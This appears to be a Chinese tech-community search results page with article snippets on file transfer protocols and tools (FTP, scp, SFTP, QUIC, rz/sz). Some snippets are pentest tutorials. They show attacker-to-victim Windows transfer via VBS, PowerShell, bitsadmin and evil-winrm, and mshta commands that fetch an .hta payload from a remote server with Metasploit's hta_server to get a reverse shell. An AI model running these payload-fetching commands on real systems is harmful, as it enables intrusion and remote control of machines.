首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏Ywrby

    3-传输

    Trivial file transfer protocol 79 Finger Looking information about a user 80 HTTP World Wide Web 110 POP-3 只发送第一个字节,然后将后续的字节缓存起来,直到发出的字节得到确认 将缓存起来的字节在一个数据段中发出,再继续缓存,直到发出的数据得到确认 Nagle算法在很多TCP上实现,但是有些时候最好禁用,比如:当一个X-Windows 传输线路的带宽有限 过多的分组同时通过输出线路进行传输,逼近传输链路的带宽极限,导致排队时延陡增,整条线路产生拥塞 3. W:发生丢失事件时的窗口尺寸(单位:字节) 平均窗口尺寸:3/4W 平均吞吐量:1RTT时间内吞吐3/4W avg TCP thruput=\frac{\frac{3}{4}W}{RTT}bytes/ sec=\frac{3}{4}*\frac{W}{RTT}bytes/sec TCP的公平性 公平性目标 如果K个TCP会话分享一个链路带宽为R的瓶颈,每一个会话的有效带宽为R/K TCP是公平的原因

    1.7K20编辑于 2022-10-27
  • 来自专栏一名白帽的成长史

    【内网渗透】Windows下的内网传输技术

    趁着现在不忙(才不是偷懒)赶紧更新一波~ 今天给大家分享的内容是Windows内网传输技术: 有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载 Part.1 FTP FTP环境部署 首先,ftp支持ASCII码传输、也支持二进制传输,因此完全可以满足我们的上传下载需求。 我们可以在本地服务器先搭建一个ftp服务器,如3CDaemon: ? Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 Part.3 Powershell Powershell Powershell在windows server 2003以后版本的操作系统中默认是自带的,我们也可以用它来进行文件下载。 Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用。

    2.5K30发布于 2020-06-24
  • 来自专栏丑胖侠

    Linux与windows之间文件传输

    Linux系统之间传输文件有很多种方法,此篇博客介绍其中的两种。也是在开发过程中经常用到的。 一般情况下,个人经常用到rz或sz命令来上传下载文件。 当然rz还有一些参数,比如一般使用: rz -bey scp传输文件 由于部分服务器安全考虑,不让安装rz软件,只好使用scp传输。scp的操作命令其实很简单。 将本地文件传输的到目标服务器的指定路径下: # 文件复制 $scp local_file remote_username@remote_ip:remote_folder # 目录复制 $scp -r local_folder

    4.7K90发布于 2018-01-08
  • 来自专栏网站教程

    Windows、Linux之间传输文件的几种方式

    常见的文件传输协议有ftp、sftp,sftp就是在ftp的基础上对传输的数据进行了加密。 ftp明文传输,速度快;sftp加密传输,速度略慢但安全性高。如果传输的数据包含敏感内容,使用sftp。 左边是windows的目录,右边是linux目录,可以选择文件|目录,右键传输,也可以直接鼠标拖到目标文件夹里。 ---- 方式二、WinSCP   免费、推荐 image.png  点击新建会话,输入Linux机器ip、用户名、密码,选择传输协议、对应的端口。 -8u241-linux-x64.rpm #文件夹 put -r D:\tomcat1 /root/tomcat1 windows的文件路径用\,Linux的文件路径用/。 下载Linux上的文件到Windows: #文件 get /root/jdk-8u241-linux-x64.rpm C:\Users\chy\Desktop\jdk-8u241-linux-x64

    16.4K31发布于 2021-07-27
  • 来自专栏潇湘信安

    针对黑客的Windows文件传输总结

    我们将介绍如何将文件从攻击者计算机传输到受害者 Windows 10 主机(下载),以及如何从受害者 Windows 10 主机传输回攻击者计算机(上传)的各种技术。 如果您还没有 pyftdlib,则可以使用以下命令下载 Python2 版本:pip install pyftpdlib或使用python3 pip install pyftdlib或pip3 install pyftpdlib 下载 Python3 版本 导航到包含要传输给受害者的文件的目录,然后使用以下命令启动 FTP 服务器: python3 -m pyftpdlib -w -p 21 其中“ -w  这样就不需要传输文件才能传输文件 - 因为这是多余的! 我们必须在受害者上制作 TXT 文件,因为 Linux 和 Windows 对 TXT 文件使用不同的编码。 9.使用evil-winrm下载和上传文件 作为展示如何在 Windows 受害者上传输文件的最后一种方法,我们将使用一个名为evil-winrm的工具。

    2.6K11编辑于 2023-11-28
  • 来自专栏python3

    3 FTP文件传输服务

    FTP文件传输服务 一 FTP服务概述 1 FTP连接及传输模式 控制连接:TCP 21,用于发送FTP命令信息 数据连接:TCP 20,用于上传、下载数据 2 数据连接的建立类型 主动模式:服务端从 20端口主动向客户端发起连接 被动模式:服务端在指定范围内某个端口被动等待客户端连接 3 FTP传输模式 文本模式:ASCII模式,以文本序列传输数据 二进制模式:Binary模式,以二进制序列传输数据 允许上传文件 anon_mkdir_write_enable=YES:允许创建目录 anon_other_write_enable=YES:开放其他写入权 anon_max_rate=0:限制最大传输速率 (字节/秒) 3)常用的本地用户FTP配置项 local_enable=YES:是否启用本地系统用户 local_umask=022:本地用户所上传文件的权限掩码 local_root=/var /ftp:设置本地用户的FTP根目录 chroot_local_user=YES:是否将用户禁锢在主目录 local_max_rate=0:限制最大传输速率(字节/秒) 三 基于系统用户的FTP服务

    2.3K20发布于 2020-01-14
  • 来自专栏全栈程序员必看

    Windows文件传输及执行—mshta「建议收藏」

    取决于Windows系统的版本,通过HTTP下载的文件缓存位置为IE的本地缓存,在下面的路径之一: C:\Users\<username>\AppData\Local\Microsoft\Windows \Temporary Internet Files\ C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir> 使用指向 执行.hta文件的命令格式如下: mshta http://webserver/payload.hta  metasploit的exploit/windows/misc/hta_server支持.hta 文件的执行: use exploit/windows/misc/hta_server 配置对应的参数后,在目标主机cmd下执行: mshta http://192.168.49.160:8080/ c3a4XKrdsu3L.hta 在win7和win10测试,都可成功反弹shell:  Empire也支持.hta的payload: usestager windows/hta 然后在目标主机执行

    4.5K20编辑于 2022-09-14
  • HTTP3 传输协议 - QUIC 简介

    随着时间的演进,越来越多的网络流量都往移动端移动,手机的无线网络环境会遇到的问题像是 (1) 丢包率较高、(2) 较长的往返时间(RTT)和 (3) 连接迁移问题等等,都让主要是为了有线网络设计的 HTTP IETF 的 QUIC 工作组在 2018 年把 QUIC 重新命名为 HTTP/3,准备把 QUIC 确立为下一代传输协议的标准。 如果再加上 TLS 的传输时间,整个连接的建立每次都需要花上 3 个 RTT 的时间,如上图左。在过去传输速度较慢的时代,光数据传输所花的时间就非常长,建立连接所花时间的占比就显得微不足道。 连接迁移(Connection Migration)目前要识别TCP的连接,需要用(1)源IP、(2)源port、(3)目的IP和(4)目的port共四个参数来区分收到的数据包是属于哪一个TCP连接。 这在频繁于WIFI网络与不同的3G和4G网络中做切换的手机上使用情境上,TCP协议就显得非常的不友善。

    60310编辑于 2024-11-06
  • 来自专栏PHP专享栏

    Linux与Windows进行文件传输的工具

    rz,sz是Linux/Unix同Windows进行ZModem文件传输的命令行工具。 优点就是不用再开一个sftp工具登录上去上传下载文件。 开发板执行命令# rz 3. 在minicom下,按住Ctrl+A键不放,按下Z键 4. 按下S键选择发送文件 5. 选择zmodem,用回车键确认 6. 传输完成后按任意键返回 开发板发送文件: 1. 进入开发板要发送文件的目录 2. 进入主机要接收文件的目录 2. 主机执行命令# rz 3.

    3K20发布于 2019-11-07
  • 来自专栏服务配置

    Windows Server系统配置SFTP服务传输文件

    我们在使用Windows Server系统的服务器时,经常会遇到从服务器给本地下载文件,或者从本地电脑给服务器上上传文件的场景,对于这种场景一般有如下几种方法:1、使用Windows系统自带的远程桌面工具远程到 Windows Server服务器上,通过复制、粘贴的方式传输文件;这种方法的优点是简单,已操作,缺点是容易受到网络波动的影响,不支持断点续传,另外在实际测试过程中发现有文件大小的限制。 这种方法的有点是:支持断点续传,也没有文件传输的大小限制;缺点是对小白人员不友好,配置比较复杂,要对FTP服务的主被动模式熟悉。 今天要推荐的传输的方法是配置SFTP服务,配置简单,传输稳定,暂时未发现缺点;就是coreftp的mini-ftp。 :3、本地电脑下载安装客户端软件,如:filezilla client,winscp等filezilla client下载页面:https://filezilla-project.org/download.php

    3.7K10编辑于 2025-01-11
  • 来自专栏文件传输

    启用Windows防火墙后,FTP传输非常慢

    我们有一个计划任务,该任务使用Windows命令行FTP程序在两个Windows服务器之间传输大文件(〜130 MB)。速度很慢(大约需要30分钟),有时会在传输完成之前终止。 我还注意到,当我禁用Windows 2003防火墙时,命令行FTP突然变得更快,并且达到与FileZilla相同的速度。因此,似乎我有一个变通办法,在传输之前和之后禁用/启用防火墙。 那么有哪一些可以替代FTP传输的文件传输软件呢? 以深圳传输新疆为例文件大小为100GB,网络宽带100Mbps,镭速传输速度可以达到98.65Mbps,比TCP的传输速度37.52Mbps快3倍,传输时间为2小时18分钟,带宽利用率的98.65%;无论企业是将 这使企业可以快速传输大量数据,包括远距离传输,跨国文件传输,这对于真正寻求最快的大文件传输解决方案的任何企业来说都是最佳选择。

    1.8K00编辑于 2023-06-08
  • 来自专栏技术交流专栏

    Windows上FTP搭建及主被动传输模式测试

    创建FTP账号 3. 添加FTP站点 4. 开放FTP服务器防火墙 二、FTP Client 端配置 1. 开放FTP客户端防火墙 2. 安装FTP测试工具 三、FTP主动传输模式测试 四、FTP被动传输模式测试 一、FTP Server 端配置 1. 创建FTP账号 创建一个FTP用户账号,用于做测试(普通用户账号即可,这里暂时不需要添加任何权限) image.png 3. 导出被动传输模式日志信息: put-passive.zip 观察FTP服务器端端口连接情况: image.png 观察FTP客户端端口连接情况: image.png 最后,可以对比一下FTP主动传输模式和被动传输模式的日志信息 附上参考文档: https://slacksite.com/other/ftp.html 之前FTP动态端口需要开放1024-65535,但由于现有受支持的Windows

    9.5K50发布于 2021-06-17
  • 来自专栏琦小虾的Binary

    Windows系统下通过PSCP传输文件至BeagleBone Black

    即使要实验node-opencv的可行性,首先也得将其传输到BBB上。 所以就需要将node-opencv-master.zip中的内容提取出来,然后对其进行tar.gz格式的压缩,最后将压缩包传输给BBB。 二、Windows远程登录BBB桌面 笔者之前已经将Windows远程登录BBB桌面的流程记录进入博客。 PSCP与SCP功能相同,但PSCP同时支持Windows下使用,解决了Windows系统向Linux服务器传输文件的问题,而且实现该功能只需要pscp.exe一个文件。 至此,Windows系统下通过PSCP传输文件至BeagleBone Black的工作完成。

    2.1K90发布于 2018-01-02
  • 来自专栏python3

    windows进程详解3

    winmgmt.exe进程文件: winmgmt or winmgmt.exe进程名称: Windows Management Service描述: Windows Management Service 透过Windows Management Instrumentation data (WMI)技术处理来自应用客户端的请求。 是否为系统进程: 否 cdplayer.exe 进程文件: cdplayer or cdplayer.exe 进程名称: CD Player 描述: Microsoft Windows包含的CD播放器 是否为系统进程: 否 charmap.exe 进程文件: charmap or charmap.exe 进程名称: Windows Character Map 描述: Windows字符映射表用来帮助你寻找不常见的字符 是否为系统进程: 否 cmd.exe 进程文件: cmd or cmd.exe 进程名称: Windows Command Prompt 描述: Windows控制台程序。

    1.1K20发布于 2020-01-15
  • 来自专栏python3

    windows __asm int 3;

    windows下直接用 __asm("int3") 是不标准的做法, 应该是调用DebugBreak();  linux 下可以用 abort();

    69920发布于 2020-01-14
  • 来自专栏python基础文章

    网络安全——传输层安全协议(3

    前言 通过之前文章对SSL握手协议与SSL记录协议有了一定的了解网络安全——传输层安全协议(2) 本章将会继续讲解SSL的其他协议 一.SSL密钥更改协议 SSL密钥更改协议用以通知参与各方加密策略的改变 当传输或收到严重错误报警消息时,连接双方均立即终止此连接。服务器和客户端均丢弃错误会话使用的标识符、密钥及秘密信息。 五.SSL安全优势  1.监听和中间人攻击     2.流量数据分析式攻击 3.版本重放攻击           4.检测对握手协议的攻击 5.会话恢复伪造           6.短包攻击 7.截取再拼接式攻击 3.数字签名问题 基于SSL.协议没有数字签名功能,即没有抗否认服务。若要增加数字签名功能,则需要在协议中打补丁。这样做,在用于加密密钥的同时又用于数字签名,在安全上存在漏洞。

    67420编辑于 2023-10-15
  • 来自专栏嵌入式项目开发

    QT应用编程: windows下使用UDT传输协议_创建工程示例(高速数据传输)

    Protocol,简称UDT)是一种互联网数据传输协议,UDT的主要目的是支持高速广域网上的海量数据传输。 UDT:打破数据传输瓶颈 UDT是一种可靠的基于UDP的应用程序级别数据传输协议,用于广域高速网络上的分布式数据密集型应用程序。UDT使用UDP通过其自己的可靠性控制和拥塞控制机制来传输批量数据。 最新版本是UDT版本4,包括3个独立的软件包:纯源代码,GNU软件包和预编译的WIN32 / i386版本。可以从UDT SourceForge项目网站下载所有UDT版本。 请注意,尽管CVS中的代码可能包含最新的错误修复和代码改进,但可能尚未经过全面测试,UDT支持Linux,Windows,OS X和BSD。 #endif (2) 修改其他用到pthread_t和pthread_key_t的地方(照着第一步的改) api.h的248行 common.h的58行 queue.h的406行和466行 (3)

    1.7K40编辑于 2022-01-07
  • 来自专栏破晓

    Linux和windows之间文件传输解决方案

    我们初学Linux时,经常会在windows下载软件或者文档,然后想办法从windows传输到Linux上;还有Linux上的文件,我们想再Windows上储存,这时,就会用到Linux和windows 之间文件传输!! 一.rz 在Linux命令行中输入: [user@VM-8-5-centos ~]$ rz  然后按下回车,如下图的页面就会出现,就可以选择想要从Windows传输到Linux端的数据 二.sz 首先,先要进入我们索要传输文件的具体位置 在Linux命令行中输入: [user@VM-8-5-centos mysql]$ sz 文件名 然后就会出现: 选择具体路径即可

    4.5K10编辑于 2024-06-24
  • 来自专栏python3

    windows10+anaconda3+

    安装win10 安装microsoft visual studio 2015的运行环境(kb4020481),这是安装pytorch的必要条件 安装anaconda3 加入清华源 #由于官方源速度不错 验证PyTorch 安装 在命令行运行python,输入以下代码: from future import print_function import torch x = torch.rand(5, 3)

    50910发布于 2020-01-07
  • 来自专栏python3

    python3.* windows安装

    ---- 开启第一篇 从安装开始说起 ---- 写在前头: Python有2.和3.版本之分,至于之间的区别,在慢慢使用和接触就能了解到。我是直接入手Python3.*的。 环境准备:windows系统 1、下载Python 下载地址 -> https://www.python.org/downloads/ 2、下载后,双击安装包,进入到Python的安装向导。 3、打开cmd,输入命令“python”,检查安装是否正确。 4、若提示“python 不是内部或外部命令,也不是可运行的程序或批处理文件。”,没有配置路径,即忽略了第二步中的【注意】。

    70310发布于 2020-01-02
领券